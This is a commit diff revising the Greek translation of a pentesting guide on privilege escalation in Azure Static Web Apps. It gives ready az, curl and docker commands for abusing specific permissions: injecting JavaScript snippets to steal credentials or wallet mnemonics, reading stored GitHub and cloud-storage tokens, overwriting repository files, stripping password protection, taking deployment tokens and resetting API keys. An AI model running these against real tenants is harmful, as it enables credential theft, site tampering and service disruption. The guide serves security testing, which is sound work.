Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 11:55:52 +00:00
parent 874f190c1b
commit 0d3795d78d
@@ -4,7 +4,7 @@
## Azure Static Web Apps
Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με αυτήν την υπηρεσία δείτε:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@
### Microsoft.Web/staticSites/snippets/write
Είναι δυνατόν να φορτώσετε μια στατική ιστοσελίδα με αυθαίρεο HTML κώδικα δημιουργώντας ένα snippet. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κώδικα JS μέσα στην εφαρμογή ιστού και να κλέψει ευαίσθητες πληροφορίες όπως διαπιστευτήρια ή μνημονικούς κωδικούς (σε πορτοφόλια web3).
Είναι δυνατή η φόρτωση αυθαίρετου HTML κώδικα σε μια στατική σελίδα δημιουργώντας ένα snippet. Αυτό μπορεί να επιτρέψει σε έναν attacker να εισάγει JS κώδικα μέσα στην web app και να κλέψει ευαίσθητες πληροφορίες όπως credentials ή mnemonic keys (σε web3 wallets).
Η παρακάτω εντολή δημιουργεί ένα snippet που θα φορτώνεται πάντα από την εφαρμογή ιστού::
Η παρακάτω εντολή δημιουργεί ένα snippet που θα φορτώνεται πάντα από την web app::
```bash
az rest \
--method PUT \
@@ -31,7 +31,7 @@ az rest \
}
}'
```
### Διαβάστε τις Ρυθμισμένες Πιστοποιήσεις Τρίτων
### Ανάγνωση ρυθμισμένων διαπιστευτηρίων τρίτων
Όπως εξηγήθηκε στην ενότητα App Service:
@@ -39,12 +39,12 @@ az rest \
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Εκτελώντας την παρακάτω εντολή είναι δυνατόν να **διαβάσετε τις πιστοποιήσεις τρίτων** που είναι ρυθμισμένες στον τρέχοντα λογαριασμό. Σημειώστε ότι αν για παράδειγμα κάποιες πιστοποιήσεις Github είναι ρυθμισμένες σε διαφορετικό χρήστη, δεν θα μπορείτε να αποκτήσετε πρόσβαση στο token από έναν διαφορετικό.
Εκτελώντας την παρακάτω εντολή είναι δυνατό να **διαβάσετε τα διαπιστευτήρια τρίτων** που έχουν ρυθμιστεί στον τρέχοντα λογαριασμό. Σημειώστε ότι, για παράδειγμα, αν κάποια Github διαπιστευτήρια έχουν ρυθμιστεί σε διαφορετικό χρήστη, δεν θα μπορείτε να αποκτήσετε πρόσβαση στο token από διαφορετικό χρήστη.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Αυτή η εντολή επιστρέφει tokens για το Github, Bitbucket, Dropbox και OneDrive.
Αυτή η εντολή επιστρέφει tokens για Github, Bitbucket, Dropbox και OneDrive.
Εδώ έχετε μερικά παραδείγματα εντολών για να ελέγξετε τα tokens:
```bash
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Overwrite file - Overwrite routes, HTML, JS...
### Επανεγγραφή αρχείου - Επανεγγραφή routes, HTML, JS...
Είναι δυνατόν να **επικαλύψετε ένα αρχείο μέσα στο Github repo** που περιέχει την εφαρμογή μέσω του Azure, στέλνοντας ένα αίτημα όπως το παρακάτω, το οποίο θα υποδεικνύει τη διαδρομή του αρχείου που θα επικαλυφθεί, το περιεχόμενο του αρχείου και το μήνυμα commit.
Είναι δυνατόν να **επανεγγραφή αρχείου μέσα στο Github repo** που περιέχει την εφαρμογή μέσω του Azure, έχοντας το **Github token**, στέλνοντας ένα αίτημα όπως το ακόλουθο που θα υποδεικνύει τη διαδρομή του αρχείου για επανεγγραφή, το περιεχόμενο του αρχείου και το commit message.
Αυτό μπορεί να καταχραστεί από επιτιθέμενους για να **αλλάξουν το περιεχόμενο της διαδικτυακής εφαρμογής** ώστε να σερβίρουν κακόβουλο περιεχόμενο (να κλέψουν διαπιστευτήρια, μνημονικές κλειδιά...) ή απλώς για να **ανακατευθύνουν ορισμένες διαδρομές** στους δικούς τους διακομιστές επικαλύπτοντας το αρχείο `staticwebapp.config.json`.
Αυτό μπορεί να καταχραστεί από επιτιθέμενους για να **αλλάξουν το περιεχόμενο της web app** ώστε να σερβίρουν κακόβουλο περιεχόμενο (υποκλοπή διαπιστευτηρίων, mnemonic keys...) ή απλώς να **αναδρομολογήσουν ορισμένες διαδρομές** στους δικούς τους servers αντικαθιστώντας το `staticwebapp.config.json` αρχείο.
> [!WARNING]
> Σημειώστε ότι αν ένας επιτιθέμενος καταφέρει να παραβιάσει το Github repo με οποιονδήποτε τρόπο, μπορεί επίσης να επικαλύψει το αρχείο απευθείας από το Github.
> Σημειώστε ότι αν ένας επιτιθέμενος καταφέρει να παραβιάσει το Github repo με οποιονδήποτε τρόπο, μπορεί επίσης να επανεγγράψει το αρχείο απευθείας από το Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
Με αυτή την άδεια, είναι δυνατόν να **τροποποιηθεί ο κωδικός πρόσβασης** που προστατεύει μια στατική εφαρμογή ιστού ή ακόμη και να αφαιρεθεί η προστασία από κάθε περιβάλλον στέλνοντας ένα αίτημα όπως το παρακάτω:
Με αυτήν την άδεια, είναι δυνατόν να **τροποποιήσετε τον κωδικό πρόσβασης** που προστατεύει μια static web app ή ακόμη και να αφαιρέσετε την προστασία από κάθε περιβάλλον στέλνοντας ένα αίτημα όπως το ακόλουθο:
```bash
# Change password
az rest --method put \
@@ -133,32 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Αυτή η άδεια επιτρέπει την απόκτηση του **API key deployment token** για την στατική εφαρμογή:
Αυτή η άδεια επιτρέπει την απόκτηση του **token ανάπτυξης κλειδιού API** για τη στατική εφαρμογή.
Χρησιμοποιώντας az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Στη συνέχεια, για να **ενημερώσετε μια εφαρμογή χρησιμοποιώντας το token** μπορείτε να εκτελέσετε την παρακάτω εντολή. Σημειώστε ότι αυτή η εντολή εξήχθη ελέγχοντας **πώς λειτουργεί το Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, καθώς είναι αυτή που έχει ορίσει το Azure ως προεπιλογή. Έτσι, η εικόνα και οι παράμετροι μπορεί να αλλάξουν στο μέλλον.
Χρησιμοποιώντας AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Τότε, για να **ενημερώσετε μια εφαρμογή χρησιμοποιώντας το token** μπορείτε να εκτελέσετε την παρακάτω εντολή. Σημειώστε ότι αυτή η εντολή εξήχθη εξετάζοντας **πώς λειτουργεί το Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, καθώς είναι αυτό που η Azure έχει ορίσει ως προεπιλογή για χρήση. Έτσι, η εικόνα και οι παράμετροι μπορεί να αλλάξουν στο μέλλον.
> [!TIP]
> Για να αναπτύξετε την εφαρμογή μπορείτε να χρησιμοποιήσετε το **`swa`** εργαλείο από [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ή να ακολουθήσετε τα παρακάτω βήματα:
> Για να αναπτύξετε την εφαρμογή μπορείτε να χρησιμοποιήσετε το **`swa`** tool από [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ή να ακολουθήσετε τα παρακάτω βήματα:
1. Κατεβάστε το repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ή οποιοδήποτε άλλο repo θέλετε να αναπτύξετε) και εκτελέστε `cd react-basic`.
1. Κατεβάστε το αποθετήριο [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ή οποιοδήποτε άλλο repo θέλετε να αναπτύξετε) και τρέξτε `cd react-basic`.
2. Αλλάξτε τον κώδικα που θέλετε να αναπτύξετε
3. Αναπτύξτε το εκτελώντας (Θυμηθείτε να αλλάξετε το `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Ακόμα και αν έχετε το token, δεν θα μπορείτε να αναπτύξετε την εφαρμογή αν η **Πολιτική Εξουσιοδότησης Ανάπτυξης** είναι ρυθμισμένη σε **Github**. Για να χρησιμοποιήσετε το token, θα χρειαστείτε την άδεια `Microsoft.Web/staticSites/write` για να αλλάξετε τη μέθοδο ανάπτυξης ώστε να χρησιμοποιεί το API token.
> Ακόμα και αν έχετε το token δεν θα μπορείτε να κάνετε deploy την εφαρμογή εάν η **Πολιτική Εξουσιοδότησης Ανάπτυξης** έχει οριστεί σε **Github**. Για να χρησιμοποιήσετε το token θα χρειαστείτε την άδεια `Microsoft.Web/staticSites/write` για να αλλάξετε τη μέθοδο ανάπτυξης ώστε να χρησιμοποιεί το APi token.
### Microsoft.Web/staticSites/write
Με αυτή την άδεια είναι δυνατόν να **αλλάξετε την πηγή της στατικής εφαρμογής ιστού σε ένα διαφορετικό αποθετήριο Github**, ωστόσο, δεν θα προμηθευτεί αυτόματα καθώς αυτό πρέπει να γίνει από μια ενέργεια Github.
Με αυτήν την άδεια είναι δυνατό να **αλλάξετε την πηγή του static web app σε διαφορετικό Github repository**, ωστόσο δεν θα γίνει αυτόματα provisioning καθώς αυτό πρέπει να γίνει από ένα Github Action.
Ωστόσο, αν η **Πολιτική Εξουσιοδότησης Ανάπτυξης** είναι ρυθμισμένη σε **Github**, είναι δυνατόν να **ενημερώσετε την εφαρμογή από το νέο αποθετήριο πηγής!**.
Ωστόσο, εάν η **Πολιτική Εξουσιοδότησης Ανάπτυξης** έχει οριστεί σε **Github**, είναι δυνατό να **ενημερώσετε την εφαρμογή από το νέο source repository!**.
Σε περίπτωση που η **Πολιτική Εξουσιοδότησης Ανάπτυξης** δεν είναι ρυθμισμένη σε Github, μπορείτε να την αλλάξετε με την ίδια άδεια `Microsoft.Web/staticSites/write`.
Σε περίπτωση που η **Πολιτική Εξουσιοδότησης Ανάπτυξης** δεν είναι ορισμένη σε Github, μπορείτε να την αλλάξετε με την ίδια άδεια `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -244,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Με αυτή την άδεια είναι δυνατή η **επανεκκίνηση του API key της στατικής εφαρμογής ιστού**, πιθανώς προκαλώντας DoS στους ροές εργασίας που αναπτύσσουν αυτόματα την εφαρμογή.
Με αυτήν την άδεια είναι δυνατόν να **επαναφέρετε το API key της static web app**, πιθανώς προκαλώντας DoSing στις ροές εργασίας που αναπτύσσουν αυτόματα την εφαρμογή.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
Αυτή η άδεια επιτρέπει να **δημιουργηθεί μια πρόσκληση σε έναν χρήστη** για να έχει πρόσβαση σε προστατευμένες διαδρομές μέσα σε μια στατική εφαρμογή ιστού με έναν συγκεκριμένο ρόλο.
Αυτή η άδεια επιτρέπει να **δημιουργηθεί πρόσκληση προς έναν χρήστη** για πρόσβαση σε προστατευμένες διαδρομές μέσα σε μια static web app με συγκεκριμένο ρόλο.
Η σύνδεση βρίσκεται σε μια διαδρομή όπως `/.auth/login/github` για το github ή `/.auth/login/aad` για το Entra ID και ένας χρήστης μπορεί να προσκληθεί με την ακόλουθη εντολή:
Το login βρίσκεται σε μια διαδρομή όπως `/.auth/login/github` για github ή `/.auth/login/aad` για Entra ID και ένας χρήστης μπορεί να προσκληθεί με την ακόλουθη εντολή:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -266,11 +272,12 @@ az staticwebapp users invite \
```
### Pull Requests
Κατά προεπιλογή, οι Pull Requests από ένα branch στο ίδιο repo θα συντάσσονται και θα κατασκευάζονται αυτόματα σε ένα περιβάλλον staging. Αυτό θα μπορούσε να καταχραστεί από έναν επιτιθέμενο με δικαιώματα εγγραφής στο repo αλλά χωρίς να μπορεί να παρακάμψει τις προστασίες του branch παραγωγής (συνήθως `main`) για να **αναπτύξει μια κακόβουλη έκδοση της εφαρμογής** στη διεύθυνση URL του staging.
Εξ ορισμού, Pull Requests από ένα branch στο ίδιο repo θα μεταγλωττίζονται και θα δημιουργούνται αυτόματα σε ένα staging περιβάλλον. Αυτό μπορεί να εκμεταλλευτεί ένας επιτιθέμενος με δικαίωμα εγγραφής στο repo αλλά χωρίς την ικανότητα να παρακάμψει τα branch protections του production branch (συνήθως `main`) για να **αναπτύξει μια κακόβουλη έκδοση της εφαρμογής** στο staging URL.
Η διεύθυνση URL του staging έχει αυτή τη μορφή: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` όπως: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Σημειώστε ότι κατά προεπιλογή οι εξωτερικές PR δεν θα εκτελούν workflows εκτός αν έχουν συγχωνευθεί τουλάχιστον 1 PR στο αποθετήριο. Ένας επιτιθέμενος θα μπορούσε να στείλει μια έγκυρη PR στο repo και **στη συνέχεια να στείλει μια κακόβουλη PR** στο repo για να αναπτύξει την κακόβουλη εφαρμογή στο περιβάλλον staging. Ωστόσο, υπάρχει μια απροσδόκητη προστασία, η προεπιλεγμένη Github Action για την ανάπτυξη στην στατική web εφαρμογή χρειάζεται πρόσβαση στο μυστικό που περιέχει το token ανάπτυξης (όπως `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) ακόμα και αν η ανάπτυξη γίνεται με το IDToken. Αυτό σημαίνει ότι επειδή μια εξωτερική PR δεν θα έχει πρόσβαση σε αυτό το μυστικό και μια εξωτερική PR δεν μπορεί να αλλάξει το Workflow για να τοποθετήσει εδώ ένα αυθαίρετο token χωρίς να γίνει αποδεκτή μια PR, **αυτή η επίθεση δεν θα λειτουργήσει πραγματικά**.
> Σημειώστε ότι εξ ορισμού εξωτερικά PRs δεν θα εκτελέσουν workflows εκτός αν έχουν συγχωνεύσει τουλάχιστον 1 PR στο repository. Ένας επιτιθέμενος θα μπορούσε να στείλει ένα έγκυρο PR στο repo και **στη συνέχεια να στείλει ένα κακόβουλο PR** στο repo για να αναπτύξει την κακόβουλη εφαρμογή στο staging περιβάλλον. Ωστόσο, υπάρχει μια απροσδόκητη προστασία: το προεπιλεγμένο Github Action για ανάπτυξη στο static web app χρειάζεται πρόσβαση στο secret που περιέχει το deployment token (π.χ. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) ακόμη και αν η ανάπτυξη γίνεται με το IDToken. Αυτό σημαίνει ότι επειδή ένα εξωτερικό PR δεν θα έχει πρόσβαση σε αυτό το secret και ένα εξωτερικό PR δεν μπορεί να αλλάξει το Workflow για να τοποθετήσει εδώ ένα αυθαίρετο token χωρίς να γίνει δεκτό ένα PR, **αυτή η επίθεση στην πραγματικότητα δεν θα λειτουργήσει**.
{{#include ../../../banners/hacktricks-training.md}}